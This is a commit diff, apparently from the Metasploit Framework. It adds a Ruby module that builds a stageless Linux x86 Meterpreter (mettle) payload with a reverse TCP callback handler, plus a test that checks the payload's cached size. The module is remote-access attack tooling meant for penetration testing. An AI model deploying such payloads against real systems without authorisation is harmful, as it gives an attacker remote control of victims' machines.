Add stageless mettle for Linux/x86
parent
62a9a31222
commit
24cf756f5b
|
@ -0,0 +1,41 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'msf/base/sessions/mettle_config'
|
||||||
|
require 'msf/base/sessions/meterpreter_x86_mettle_linux'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 292828
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
include Msf::Sessions::MettleConfig
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Linux Meterpreter',
|
||||||
|
'Description' => 'Run the mettle server payload (stageless)',
|
||||||
|
'Author' => [
|
||||||
|
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||||
|
],
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config).to_binary :exec
|
||||||
|
end
|
||||||
|
end
|
|
@ -4513,4 +4513,15 @@ RSpec.describe 'modules/payloads', :content do
|
||||||
modules_pathname: modules_pathname,
|
modules_pathname: modules_pathname,
|
||||||
reference_name: 'linux/x86/mettle/reverse_tcp_uuid'
|
reference_name: 'linux/x86/mettle/reverse_tcp_uuid'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'linux/x86/mettle_reverse_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/linux/x86/mettle_reverse_tcp'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'linux/x86/mettle_reverse_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue